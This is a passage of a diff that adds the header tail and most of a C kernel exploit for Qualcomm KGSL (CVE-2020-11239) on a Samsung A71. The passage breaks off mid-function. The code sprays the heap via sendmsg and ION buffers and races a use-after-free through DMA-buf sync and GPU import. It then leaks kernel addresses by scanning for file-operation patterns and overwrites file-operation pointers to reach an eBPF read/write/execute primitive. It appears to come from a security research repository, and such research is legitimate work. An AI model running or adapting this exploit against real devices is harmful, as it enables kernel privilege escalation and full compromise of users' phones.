+	uint32_t flags;			/* flags for dsp to map with */
+	uint64_t vaddrin;		/* optional virtual address */
+	size_t size;			/* size */
+	uint64_t vaddrout;		/* dsps virtual address */
+};
+
+struct fastrpc_ioctl_munmap_fd {
+	int     fd;				/* fd */
+	uint32_t  flags;		/* control flags */
+	uintptr_t va;			/* va */
+	ssize_t  len;			/* length */
+};
+
+struct fastrpc_ioctl_perf {			/* kernel performance data */
+	uintptr_t data;
+	uint32_t numkeys;
+	uintptr_t keys;
+};
+
+
+#define FASTRPC_IOCTL_INVOKE	_IOWR('R', 1, struct fastrpc_ioctl_invoke)
+#define FASTRPC_IOCTL_MMAP	_IOWR('R', 2, struct fastrpc_ioctl_mmap)
+#define FASTRPC_IOCTL_MUNMAP	_IOWR('R', 3, struct fastrpc_ioctl_munmap)
+#define FASTRPC_IOCTL_MMAP_64	_IOWR('R', 14, struct fastrpc_ioctl_mmap_64)
+#define FASTRPC_IOCTL_MUNMAP_64	_IOWR('R', 15, struct fastrpc_ioctl_munmap_64)
+#define FASTRPC_IOCTL_INVOKE_FD	_IOWR('R', 4, struct fastrpc_ioctl_invoke_fd)
+#define FASTRPC_IOCTL_SETMODE	_IOWR('R', 5, uint32_t)
+#define FASTRPC_IOCTL_INIT	_IOWR('R', 6, struct fastrpc_ioctl_init)
+#define FASTRPC_IOCTL_INVOKE_ATTRS \
+				_IOWR('R', 7, struct fastrpc_ioctl_invoke_attrs)
+#define FASTRPC_IOCTL_GETINFO	_IOWR('R', 8, uint32_t)
+#define FASTRPC_IOCTL_GETPERF	_IOWR('R', 9, struct fastrpc_ioctl_perf)
+#define FASTRPC_IOCTL_INIT_ATTRS _IOWR('R', 10, struct fastrpc_ioctl_init_attrs)
+#define FASTRPC_IOCTL_INVOKE_CRC _IOWR('R', 11, struct fastrpc_ioctl_invoke_crc)
+#define FASTRPC_IOCTL_CONTROL   _IOWR('R', 12, struct fastrpc_ioctl_control)
+#define FASTRPC_IOCTL_MUNMAP_FD _IOWR('R', 13, struct fastrpc_ioctl_munmap_fd)
+
+#define FASTRPC_CONTROL_LATENCY	(1)
+struct fastrpc_ctrl_latency {
+	uint32_t enable;	/* latency control enable */
+	uint32_t level;		/* level of control */
+};
+
+#define FASTRPC_CONTROL_KALLOC	(3)
+struct fastrpc_ctrl_kalloc {
+	uint32_t kalloc_support;  /* Remote memory allocation from kernel */
+};
+
+struct fastrpc_ioctl_control {
+	uint32_t req;
+	union {
+		struct fastrpc_ctrl_latency lp;
+		struct fastrpc_ctrl_kalloc kalloc;
+	};
+};
+
+#define FASTRPC_INIT_CREATE 1
+
+
+struct scatterlist {
+	unsigned long	page_link;
+	unsigned int	offset;
+	unsigned int	length;
+	uint64_t	dma_address;
+    unsigned int	dma_length;
+};
+
+enum region_type {
+  binder,
+  dma,
+  null
+};
+
+//---------------BPF---------------------------------------------------------
+
+#define BPF_ALU64_REG(OP, DST, SRC)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,	\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = 0,					\
+		.imm   = 0 })
+
+#define BPF_ALU64_IMM(OP, DST, IMM)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,	\
+		.dst_reg = DST,					\
+		.src_reg = 0,					\
+		.off   = 0,					\
+		.imm   = IMM })
+
+#define BPF_MOV64_REG(DST, SRC)					\
+	((struct bpf_insn) {					\
+		.code  = BPF_ALU64 | BPF_MOV | BPF_X,		\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = 0,					\
+		.imm   = 0 })
+
+#define BPF_MOV64_IMM(DST, IMM)					\
+	((struct bpf_insn) {					\
+		.code  = BPF_ALU64 | BPF_MOV | BPF_K,		\
+		.dst_reg = DST,					\
+		.src_reg = 0,					\
+		.off   = 0,					\
+		.imm   = IMM })
+
+#define BPF_LD_IMM64(DST, IMM)					\
+	BPF_LD_IMM64_RAW(DST, 0, IMM)
+
+#define BPF_LD_IMM64_RAW(DST, SRC, IMM)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_LD | BPF_DW | BPF_IMM,		\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = 0,					\
+		.imm   = (__u32) (IMM) }),			\
+	((struct bpf_insn) {					\
+		.code  = 0, /* zero is reserved opcode */	\
+		.dst_reg = 0,					\
+		.src_reg = 0,					\
+		.off   = 0,					\
+		.imm   = ((__u64) (IMM)) >> 32 })
+
+#define BPF_MOV64_RAW(TYPE, DST, SRC, IMM)			\
+	((struct bpf_insn) {					\
+		.code  = BPF_ALU64 | BPF_MOV | BPF_SRC(TYPE),	\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = 0,					\
+		.imm   = IMM })
+
+#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)			\
+	((struct bpf_insn) {					\
+		.code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,	\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = OFF,					\
+		.imm   = 0 })
+
+#define BPF_STX_MEM(SIZE, DST, SRC, OFF)			\
+	((struct bpf_insn) {					\
+		.code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,	\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = OFF,					\
+		.imm   = 0 })
+
+#define BPF_STX_XADD(SIZE, DST, SRC, OFF)			\
+	((struct bpf_insn) {					\
+		.code  = BPF_STX | BPF_SIZE(SIZE) | BPF_XADD,	\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = OFF,					\
+		.imm   = 0 })
+
+#define BPF_ST_MEM(SIZE, DST, OFF, IMM)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM,	\
+		.dst_reg = DST,					\
+		.src_reg = 0,					\
+		.off   = OFF,					\
+		.imm   = IMM })
+
+#define BPF_JMP_REG(OP, DST, SRC, OFF)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_JMP | BPF_OP(OP) | BPF_X,		\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = OFF,					\
+		.imm   = 0 })
+
+#define BPF_JMP_IMM(OP, DST, IMM, OFF)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_JMP | BPF_OP(OP) | BPF_K,		\
+		.dst_reg = DST,					\
+		.src_reg = 0,					\
+		.off   = OFF,					\
+		.imm   = IMM })
+
+#define BPF_JMP_A(OFF)						\
+	((struct bpf_insn) {					\
+		.code  = BPF_JMP | BPF_JA,			\
+		.dst_reg = 0,					\
+		.src_reg = 0,					\
+		.off   = OFF,					\
+		.imm   = 0 })
+
+// This check has been added to ensure that function calls are always within the allowed range.
+#define BPF_EMIT_CALL__IMM(FUNC)	({			\
+		uintptr_t __offset = (FUNC) - __bpf_call_base;	\
+		(__s32) __offset;				\
+	})
+
+#define BPF_EMIT_CALL(FUNC)					\
+	((struct bpf_insn) {					\
+		.code  = BPF_JMP | BPF_CALL,			\
+		.dst_reg = 0,					\
+		.src_reg = 0,					\
+		.off   = 0,					\
+		.imm   = BPF_EMIT_CALL__IMM(FUNC)/*((FUNC) - __bpf_call_base)*/ })
+
+#define BPF_EXIT_INSN()						\
+	((struct bpf_insn) {					\
+		.code  = BPF_JMP | BPF_EXIT,			\
+		.dst_reg = 0,					\
+		.src_reg = 0,					\
+		.off   = 0,					\
+		.imm   = 0 })
+
+
+#endif
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c
new file mode 100644
index 0000000..036f2c2
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c
@@ -0,0 +1,1047 @@
+#include <err.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include <sys/prctl.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <netinet/ip.h>
+#include <sys/syscall.h>
+#include <sched.h>
+#include <sys/un.h>
+#include <pthread.h>
+#include "kgsl_exploit.h"
+#include <sys/time.h>
+
+//A71:
+//dma_buf_fops - __bpf_prog_run32
+#define DMA_TO_BPF 0x16f2798
+//null_fops - __bpf_prog_run32
+#define NULL_TO_BPF 0x16c2700
+//__bpf_prog_run32 - __bpf_call_base
+#define BPF_TO_BASE 0x18f8
+
+#define SPRAY_1 1
+#define PIPE 1
+
+#define DELAY 4000
+#define OBJ_SIZE 37
+#define NENTS 1
+#define NB_REALLOC_THREADS 8
+#define SYS_LEN 0x1000
+#define SYS_LEN_0 0xf000
+//between 320 -480 seems ok
+#define REGIONS_LEN_1 (480 * 16)
+#define REGIONS_LEN_2 (1024)
+#define DMA_ADDRESS 0xfffbf000
+#define DMA_PAGES 64
+#define VMAS_LEN 50
+#define ORDER 26
+#define TRIGGER_THRESH 1000
+#define BOUNCE_LEN 64
+#define SLAB_LEN 5000
+#define CPU0 0
+#define CPU1 1
+
+#ifdef DMA_SPRAY
+  #define MMAP_LEN 64
+  #ifdef SPRAY_1
+    #define G_REGION_LEN 4
+  #else
+    #define G_REGION_LEN 3
+   #endif
+#else
+    #define MMAP_LEN 65
+  #ifdef SPRAY_1
+    #define G_REGION_LEN 2
+  #else
+    #define G_REGION_LEN 1
+  #endif
+#endif
+
+static volatile size_t g_nb_realloc_thread_ready = 0;
+static volatile size_t g_realloc_now = 0;
+static volatile size_t g_trigger_now = 0;
+static volatile size_t g_map_now = 0;
+static volatile size_t g_import_now = 0;
+static volatile size_t g_finished_read = 0;
+static volatile size_t g_unlocked_read = 0;
+static volatile char* g_ion_regions[G_REGION_LEN] = {0};
+static char* bounce_regions[BOUNCE_LEN];
+static int bounce_fds[BOUNCE_LEN];
+static char* ion_sys_regions[REGIONS_LEN_1 + REGIONS_LEN_2] = {0};
+static int ion_sys_fds[REGIONS_LEN_1] = {0};
+static int ion_sys_fds2[REGIONS_LEN_2] = {0};
+static long trigger_time = 0;
+static unsigned long ion_addr = 0;
+static unsigned long bpf_addr = 0;
+
+//-------eBPF program, from https://googleprojectzero.blogspot.com/2020/12/an-ios-hacker-tries-android.html -------------------------------------------------------
+
+// 25. Copy an eBPF program to run into the ION buffer. A pointer to this program is passed
+// to __bpf_prog_run32() as the second argument.
+//
+// This program will implement a very simple read/write/execute busy loop: it reads from
+// the ION buffer to see if there's an operation ('r', 'w', or 'x') to run, reads the
+// parameters from the ION buffer, and then executes the operation.
+//operation
+static int bpf_op_offset = 0x000;
+//rw input address
+static int bpf_rw_addr_offset = 0x008;
+//output address
+static int bpf_out_offset = 0x108;
+//arguments offsets
+static int bpf_arg0 = 0x10;
+static int bpf_arg1 = 0x18;
+static int bpf_arg2 = 0x20;
+static int bpf_arg3 = 0x28;
+static int bpf_arg4 = 0x30;
+
+//---------------------------------sendmsg heap spraying, from https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html ---------------------------------
+
+#define CPU_SETSIZE 1024
+#define __NCPUBITS  (8 * sizeof (unsigned long))
+typedef struct
+{
+   unsigned long __bits[CPU_SETSIZE / __NCPUBITS];
+} cpu_set_t;
+
+#define CPU_SET(cpu, cpusetp) \
+  ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS)))
+#define CPU_ZERO(cpusetp) \
+  memset((cpusetp), 0, sizeof(cpu_set_t))
+
+void reset_globals() {
+  g_nb_realloc_thread_ready = 0;
+  g_realloc_now = 0;
+  g_trigger_now = 0;
+  g_map_now = 0;
+  g_import_now = 0;
+  g_finished_read = 0;
+  g_unlocked_read = 0;
+  for (int i = 0; i < G_REGION_LEN; i++) {
+    g_ion_regions[i] = 0;
+  }
+}
+
+void migrate_to_cpu(int cpu_num) {
+    int syscallres;
+    pid_t pid = gettid();
+    cpu_set_t cpu;
+    CPU_ZERO(&cpu);
+    CPU_SET(cpu_num, &cpu);
+
+    syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu);
+    if (syscallres)
+    {
+        err(1, "Error in the syscall setaffinity");
+    }
+}
+
+static volatile char g_realloc_data[OBJ_SIZE];
+
+int init_realloc_data(uint64_t dma_address, size_t length) {
+  struct cmsghdr *first;
+  struct scatterlist* scatter_view; 
+
+  first = (struct cmsghdr*) g_realloc_data;
+  first->cmsg_len = sizeof(g_realloc_data);
+  first->cmsg_level = 0;
+
+  scatter_view = (struct scatterlist*) g_realloc_data;
+  for (int i = 0; i < NENTS; i++) {
+    scatter_view[i].length = length;
+    scatter_view[i].dma_length = length;
+    scatter_view[i].dma_address = dma_address;
+  }
+  return 0;  
+}
+
+struct realloc_thread_arg
+{
+  pthread_t tid;
+  int recv_fd;
+  int send_fd;
+  struct sockaddr_un addr;
+};
+
+int init_unix_sockets(struct realloc_thread_arg * rta) {
+  struct timeval tv;
+  static int sock_counter = 0;
+
+  if (((rta->recv_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) ||
+      ((rta->send_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0))
+  {
+    perror("[-] socket");
+    goto fail;
+  }
+
+  memset(&rta->addr, 0, sizeof(rta->addr));
+  rta->addr.sun_family = AF_UNIX;
+  sprintf(rta->addr.sun_path + 1, "sock_%x_%d", gettid(), ++sock_counter);
+  if (bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
+  {
+    perror("[-] bind");
+    goto fail;
+  }
+
+  if (connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
+  {
+    perror("[-] connect");
+    goto fail;
+  }
+
+  memset(&tv, 0, sizeof(tv));
+  if (setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv))) {
+    err(1, "setsockopt");
+  }
+
+  return 0;
+fail:
+  printf("[-] failed to initialize UNIX sockets!\n");
+  return -1;
+}
+
+static void* realloc_thread(void *arg)
+{
+  struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg;
+  struct msghdr mhdr;
+  char buf[200];
+
+  // initialize msghdr
+  struct iovec iov = {
+    .iov_base = buf,
+    .iov_len = sizeof(buf),
+  };
+  memset(&mhdr, 0, sizeof(mhdr));
+  mhdr.msg_iov = &iov;
+  mhdr.msg_iovlen = 1;
+
+  // the thread should inherit main thread cpumask, better be sure and redo-it!
+  migrate_to_cpu(CPU0);
+
+  // make it block
+  while (sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0);
+
+  if (errno != EAGAIN)
+  { 
+    perror("[-] sendmsg");
+    goto fail;
+  }
+
+  // use the arbitrary data now
+  iov.iov_len = 16; // don't need to allocate lots of memory in the receive queue
+  mhdr.msg_control = (void*)g_realloc_data; // use the ancillary data buffer
+  mhdr.msg_controllen = sizeof(g_realloc_data);
+
+  g_nb_realloc_thread_ready++;
+
+  while (!g_realloc_now) // spinlock until the big GO!
+    ;
+
+  // the next call should block while "reallocating"
+  if (sendmsg(rta->send_fd, &mhdr, 0) < 0)
+  {
+    perror("[-] sendmsg");
+    goto fail;
+  }
+  printf("[+] REALLOC THREAD finished\n");
+  return NULL;
+
+fail:
+  printf("[-] REALLOC THREAD FAILURE!!!\n");
+  return NULL;
+}
+
+int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs, uint64_t dma_address, size_t length)
+{
+  int thread = 0;
+  int ret = -1;
+
+  if (init_realloc_data(dma_address, length))
+  {
+    printf("[-] failed to initialize reallocation data!\n");
+    goto fail;
+  }
+  printf("[+] reallocation data initialized!\n");
+
+  printf("[ ] initializing reallocation threads, please wait...\n");
+  for (thread = 0; thread < nb_reallocs; ++thread)
+  {
+    if (init_unix_sockets(&rta[thread]))
+    {
+      printf("[-] failed to init UNIX sockets!\n");
+      goto fail;
+    }
+
+    if ((ret = pthread_create(&rta[thread].tid, NULL, realloc_thread, &rta[thread])) != 0)
+    {
+      perror("[-] pthread_create");
+      goto fail;
+    }
+  }
+
+  while (g_nb_realloc_thread_ready < nb_reallocs)
+    sched_yield();
+
+  printf("[+] %lu reallocation threads ready!\n", nb_reallocs);
+
+  return 0;
+
+fail:
+  printf("[-] failed to initialize reallocation\n");
+  return -1;
+}
+
+//------------------------ Specifics to trigger the bug-------------------------------------
+
+struct trigger_uaf_arg {
+  int fd;
+  unsigned int read;
+};
+
+void* trigger_uaf(void* arg) {
+
+  migrate_to_cpu(CPU1);
+  struct trigger_uaf_arg* trigger_arg = (struct trigger_uaf_arg*)arg;
+  struct dma_buf_sync sync;
+  struct timeval start, end;
+  long micros_used, secs_used;
+  if (trigger_arg->read) {
+    sync.flags = DMA_BUF_SYNC_READ;
+  } else {
+    sync.flags = DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END;
+  }
+  sync.flags |= DMA_BUF_SYNC_USER_MAPPED;
+  while (!g_trigger_now);
+  for (int i = 0; i < DELAY; i++);
+  gettimeofday(&start, NULL);
+  ioctl(trigger_arg->fd, DMA_BUF_IOCTL_SYNC, (unsigned long)(&sync));
+  gettimeofday(&end, NULL);
+  secs_used=(end.tv_sec - start.tv_sec); //avoid overflow by subtracting first
+  trigger_time = ((secs_used*1000000) + end.tv_usec) - (start.tv_usec);
+  printf("micros_used: %ld\n",trigger_time);  
+  return NULL;
+}
+
+void* read_pipe(void* arg) {
+  int buffer[80];
+  
+  migrate_to_cpu(CPU1);
+  int fd = *((int*)arg);
+  read(fd, buffer, sizeof(buffer));
+  g_unlocked_read = 1;
+  close(fd);
+  while(!g_finished_read);
+  return NULL;  
+}
+
+void* ion_map(void* arg) {
+  migrate_to_cpu(CPU0);
+  int fd = *((int*)arg);
+#ifdef SPRAY_1
+  while (!g_map_now);
+#endif
+  for (int i = 0; i < G_REGION_LEN; i++) {
+    g_ion_regions[i] = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, i * 0x1000);
+    if (g_ion_regions[i] == MAP_FAILED) {
+      err(1, "ion region map %d failed", i);
+    }
+  }
+  return NULL;
+}
+
+void* gpu_import(void* arg) {
+  migrate_to_cpu(CPU0);
+  struct kgsl_gpuobj_import* par = (struct kgsl_gpuobj_import*)arg;
+  int kgsl_fd = par->id;
+  par->id = 0;
+  while (!g_import_now);
+#ifndef SPRAY_1
+  for (int i = 0; i < G_REGION_LEN; i++) {
+    munmap((void*)(g_ion_regions[i]), 0x1000);
+  }
+#endif
+  if (ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, par) < 0) {
+      err(1, "IOCTL_KGSL_GPUOBJ_IMPORT 2 failed.\n");
+  }
+  return NULL;
+}
+
+uint64_t compute_alignment(size_t power) {
+  return (uint64_t)((power << 16) & 0xFF0000);
+}
+
+//Fill out kgsl memory so the next one will fail
+void prepare_gpu_import(int kgsl_fd, uint64_t* regions) {
+
+  for (int i = 0; i < MMAP_LEN - 1; i++) {
+    struct kgsl_gpuobj_import par;
+    struct kgsl_gpuobj_import_useraddr useraddr = {.virtaddr = regions[i]};
+    par.flags = compute_alignment(ORDER);
+    par.priv = (uint64_t)(&useraddr);
+    par.type = KGSL_USER_MEM_TYPE_ADDR;
+    par.priv_len = 0x1000;
+    par.id = 0;
+    if (ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, &par) < 0) {
+      err(1, "IOCTL_KGSL_GPUOBJ_IMPORT %d\n", i);
+    }
+  }
+}
+
+//-----------------------------------bounce buffer and buddy heap spraying--------------------
+
+struct bounce_buffer_param {
+  int rpc_fd;
+  int ion_fd;
+  int process_fd;
+  int args_fd;
+  char* process_region;
+  char* args_region;
+  char* sys_region;
+  int null_fds[SLAB_LEN];
+};
+
+void spray_system_heap(int ion_fd, struct bounce_buffer_param* param) {
+  //First round spraying, use large chunk up the memory pool.
+  for (int i = 0; i < REGIONS_LEN_1; i++) {
+	struct ion_allocation_data ion_alloc_data;
+	ion_alloc_data.len = SYS_LEN_0;
+	ion_alloc_data.flags = 1;
+	ion_alloc_data.heap_id_mask = ION_HEAP(25);
+
+    if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) {
+      err(1, "ION_IOC_ALLOC bounce failed\n");
+    }
+    ion_sys_fds[i] = ion_alloc_data.fd;
+  }
+  //Second round spraying, use single page so we can map it to bounce buffer.
+  for (int i = 0; i < REGIONS_LEN_2; i++) {
+	struct ion_allocation_data ion_alloc_data;
+	ion_alloc_data.len = SYS_LEN;
+	ion_alloc_data.flags = 1;
+	ion_alloc_data.heap_id_mask = ION_HEAP(25);
+
+    if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) {
+      err(1, "ION_IOC_ALLOC bounce failed\n");
+    }
+    ion_sys_fds2[i] = ion_alloc_data.fd;
+  }
+
+  //Spray with null files to create new slab 
+  for (int i = 0; i < SLAB_LEN; i++) {
+    param->null_fds[i] = open("/dev/null", 0);
+  }
+
+  
+  //set the top and bottom as bounce regions
+  if (BOUNCE_LEN < 2) {
+    err(1, "bounce len has to be greater than or equal to 2\n");
+  }
+  //Use region2 to map the rest of the bounce buffer.
+  for (int i = 0; i < BOUNCE_LEN; i++) {
+    if (i == 1) continue;
+    bounce_regions[i] = ion_sys_regions[i] = mmap(NULL, SYS_LEN, PROT_READ | PROT_WRITE, MAP_SHARED, ion_sys_fds2[REGIONS_LEN_2 - 1 - BOUNCE_LEN + i], 0);
+    if (bounce_regions[i] == MAP_FAILED) {
+      err(1, "bounce regions failed\n");
+    }
+    bounce_fds[i] = ion_sys_fds2[REGIONS_LEN_2 - 1 - BOUNCE_LEN + i];
+  }
+  //Last of region 1 should be below the new slab, map it to the first bounce region
+  bounce_regions[1] = ion_sys_regions[1] = mmap(NULL, SYS_LEN, PROT_READ | PROT_WRITE, MAP_SHARED, ion_sys_fds2[REGIONS_LEN_2 - 1], 0);
+  if (bounce_regions[1] == MAP_FAILED) {
+    err(1, "bounce regions failed\n");
+  }
+  bounce_fds[1] = ion_sys_fds2[REGIONS_LEN_2 - 1];
+}
+
+void allocate_bounce_buffer(struct bounce_buffer_param* param) {
+
+  int ion_fd = open("/dev/ion", O_RDONLY);
+  if (ion_fd == -1) {
+    err(1, "cannot open ion\n");
+  }
+
+  spray_system_heap(ion_fd, param);
+  int rpc_fd;
+
+  int rpc_id = open("/dev/adsprpc-smd", 0);
+  if (rpc_id == -1) {
+    err(1, "cannot open rpc\n");
+  }
+  printf("rpc opened\n");
+  uint32_t info_ptr[1];
+  info_ptr[0] = 3;
+
+  if(ioctl(rpc_id, FASTRPC_IOCTL_GETINFO, info_ptr) < 0) {
+    err(1, "rpc getinfo failed\n");
+  }
+
+  for (int i = 0; i < BOUNCE_LEN; i++) {
+	struct remote_dma_handle dma = {.fd = bounce_fds[i], .offset = 0};
+	union remote_arg args[1];
+	args[0].dma = dma;
+	  
+	struct fastrpc_ioctl_invoke invoke = {0};
+	invoke.handle = 0x3;
+	invoke.sc = 16;
+	invoke.pra = &(args[0]);
+	unsigned int attrs = 16;
+    struct fastrpc_ioctl_invoke_attrs crc;
+    crc.inv = invoke;
+    crc.attrs = &attrs;
+    crc.fds = &(bounce_fds[i]);
+    ioctl(rpc_id, FASTRPC_IOCTL_INVOKE_ATTRS, &crc);
+  }
+  param->rpc_fd = rpc_fd;
+  param->ion_fd = ion_fd;
+  return;
+}
+
+void sync_bounce_buffer(int read, int index) {
+  struct dma_buf_sync sync;
+  sync.flags = DMA_BUF_SYNC_RW;
+  if (read) {
+    sync.flags |= DMA_BUF_SYNC_END;
+  }
+  if (ioctl(bounce_fds[index], DMA_BUF_IOCTL_SYNC, (unsigned long)(&sync)) < 0) {
+    err(1, "error syncing bounce buffer %d\n", index);
+  }
+}
+
+void sync_bounce_buffers(int read) {
+  printf("[+] syncing bounce buffers\n");
+  for (int i = 0; i < BOUNCE_LEN; i++) {
+    sync_bounce_buffer(read, i);
+  }
+}
+
+//----------------------------Utils for finding addresses and faking objects------------------------------------
+
+//Fetch the pointer to the wait_list in struct file to calculate own address, then 
+//take away offset to calculate controlled ion buffer address.
+unsigned long calculate_ion_addr(long offset, int region) {
+  long wait_list_offset = offset + 0x38;
+  long total_offset = wait_list_offset + (region - 2)* SYS_LEN;
+  unsigned long* wait_list_addr = (unsigned long*)(&(ion_sys_regions[region][wait_list_offset]));
+  printf("null file addr: %lx\n", *wait_list_addr);
+  return *wait_list_addr - total_offset - SYS_LEN;
+}
+
+void overwrite_fops(int region, long offset, unsigned long ion_addr) {
+  unsigned long* fops_addr = (unsigned long*)(&(ion_sys_regions[region][offset]));
+  printf("overwrite fops %lx\n", fops_addr[1]);
+  fops_addr[1] = ion_addr;
+  return;
+}
+//overwrite file mode to allow lseek
+void overwrite_fmode(int region, long offset) {
+  long fmode_offset = offset + 0x28;
+  unsigned int* fmode = (unsigned int*)(&(ion_sys_regions[region][fmode_offset]));
+  printf("overwrite fops %x\n", fmode[0]);
+  //Add fmode lseek
+  *fmode |= 0x4;
+  return;
+}
+
+long search_null_fops(char* data, size_t len, unsigned long* result) {
+  size_t left = len;
+  char* curr = data;
+  unsigned long* curr_long;
+  //Observed pattern of a null file struct. These are right after the null_fops
+  const char null_pattern[32] = {
+    0, 0, 0,   0, 0,    0, 0,   0, 0x1, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0x2, 0, 0x1d, 0, 0x2, 0, 0,   0, 0, 0, 0, 0, 0, 0
+  };
+
+  while (left) {
+    if (left >= 64) {
+      //match
+      if (!memcmp(curr + 16, &(null_pattern[0]), 32)) {
+        curr_long = (unsigned long*)curr;
+        *result = curr_long[1];
+        if ((*result >> 48) == 0xffff) {
+          return curr - data;
+        }
+      }
+    }
+    curr += 16;
+    left -= 16;
+  }
+  return -1;
+}
+
+long search_dma_fops(char* data, size_t len, unsigned long* result) {
+  size_t left = len;
+  char* curr = data;
+  unsigned long* curr_long;
+  //Observed pattern of a dma file struct. These are right after the dma_fops
+  const char dma_pattern[32] = {
+    0,   0, 0, 0, 0,   0, 0, 0, 0x1, 0, 0, 0, 0, 0, 0, 0,
+    0x2, 0, 0, 0, 0x7, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0, 0
+  };
+
+  while (left) {
+    if (left >= 64) {
+      //match
+      if (!memcmp(curr + 16, &(dma_pattern[0]), 32)) {
+        curr_long = (unsigned long*)curr;
+        *result = curr_long[1];
+        if ((*result >> 48) == 0xffff) {
+          return curr - data;
+        }
+      }
+    }
+    curr += 16;
+    left -= 16;
+  }
+  return -1;
+}
+
+int find_null_fops() {
+  unsigned long null_fops;
+  for (int i = 2; i < BOUNCE_LEN; i++) {
+    if (ion_sys_regions[i] != 0) {
+      long offset = search_null_fops(&(ion_sys_regions[i][0]), SYS_LEN, &null_fops);
+      if (offset != -1) {
+        printf("[+] Found null_fops at %d region offset %ld %lx\n", i, offset, null_fops);
+        ion_addr = calculate_ion_addr(offset, i);
+        bpf_addr = null_fops - NULL_TO_BPF;
+        printf("[+] ion region location: %lx\n", ion_addr);
+        printf("[+] bpf addr: %lx\n", bpf_addr);
+        overwrite_fops(i, offset, ion_addr);
+        overwrite_fmode(i, offset);
+        return i;
+      }
+    }
+  }
+  printf("[-] Failed to find null_fops\n");
+  return -1;
+}
+
+int find_dma_fops() {
+  unsigned long dma_fops;
+  for (int i = 2; i < BOUNCE_LEN; i++) {
+    if (ion_sys_regions[i] != 0) {
+      long offset = search_dma_fops(&(ion_sys_regions[i][0]), SYS_LEN, &dma_fops);
+      if (offset != -1) {
+        printf("[+] Found dma_buf_fops at %d region offset %ld %lx\n", i, offset, dma_fops);
+        ion_addr = calculate_ion_addr(offset, i);
+        bpf_addr = dma_fops - DMA_TO_BPF;
+        printf("[+] ion region location: %lx\n", ion_addr);
+        printf("[+] bpf addr: %lx\n", bpf_addr);
+        overwrite_fops(i, offset, ion_addr);
+        overwrite_fmode(i, offset);
+        return i;
+      }
+    }
+  }
+  printf("[-] Failed to find dma_buf_fops\n");
+  return -1;
+}
+
+void dump_memory(int i) {
+  char name[64];
+  snprintf(name, sizeof(name), "/data/local/tmp/mem_dump/mem_dump%u.bin", i);
+
+  FILE* fptr = fopen(name, "wb");
+  if (fptr == NULL) {
+    err(1, "error open dump file\n");
+  }
+
+  for (int i = 2; i < 64; i++) {
+    if (ion_sys_regions[i] != 0) {
+      fwrite(&(ion_sys_regions[i][0]), SYS_LEN, 1, fptr);
+    }
+  }
+
+  fclose(fptr);
+}
+
+//----------------------------------------------exploit part-----------------------------------------
+
+void do_one_rw(uint64_t dma_address, size_t length, uint64_t* regions, char* ion_region, int* ion_alloc_fds, unsigned int read) {
+  struct realloc_thread_arg rta[NB_REALLOC_THREADS];
+  memset(rta, 0, sizeof(rta));
+  if (init_reallocation(rta, NB_REALLOC_THREADS, dma_address, length)) {
+    err(1, "[-] failed to initialize reallocation!\n");
+  }
+
+  int kgsl_fd;
+
+  kgsl_fd = open("/dev/kgsl-3d0", 0);
+  if (kgsl_fd == -1) {
+    err(1, "cannot open kgsl\n");
+  }
+  
+  prepare_gpu_import(kgsl_fd, regions);
+
+  struct kgsl_gpuobj_import par;
+  struct kgsl_gpuobj_import_useraddr useraddr = {.virtaddr = (uint64_t)ion_region};
+  par.flags = 0x1F0000;
+  par.type = KGSL_USER_MEM_TYPE_ADDR;
+  par.priv_len = 0x1000;
+  par.priv = (uint64_t)(&useraddr);
+  par.id = 0;
+  
+  pthread_t trigger_tid;
+  struct trigger_uaf_arg arg = {.fd = ion_alloc_fds[0], .read = read};
+
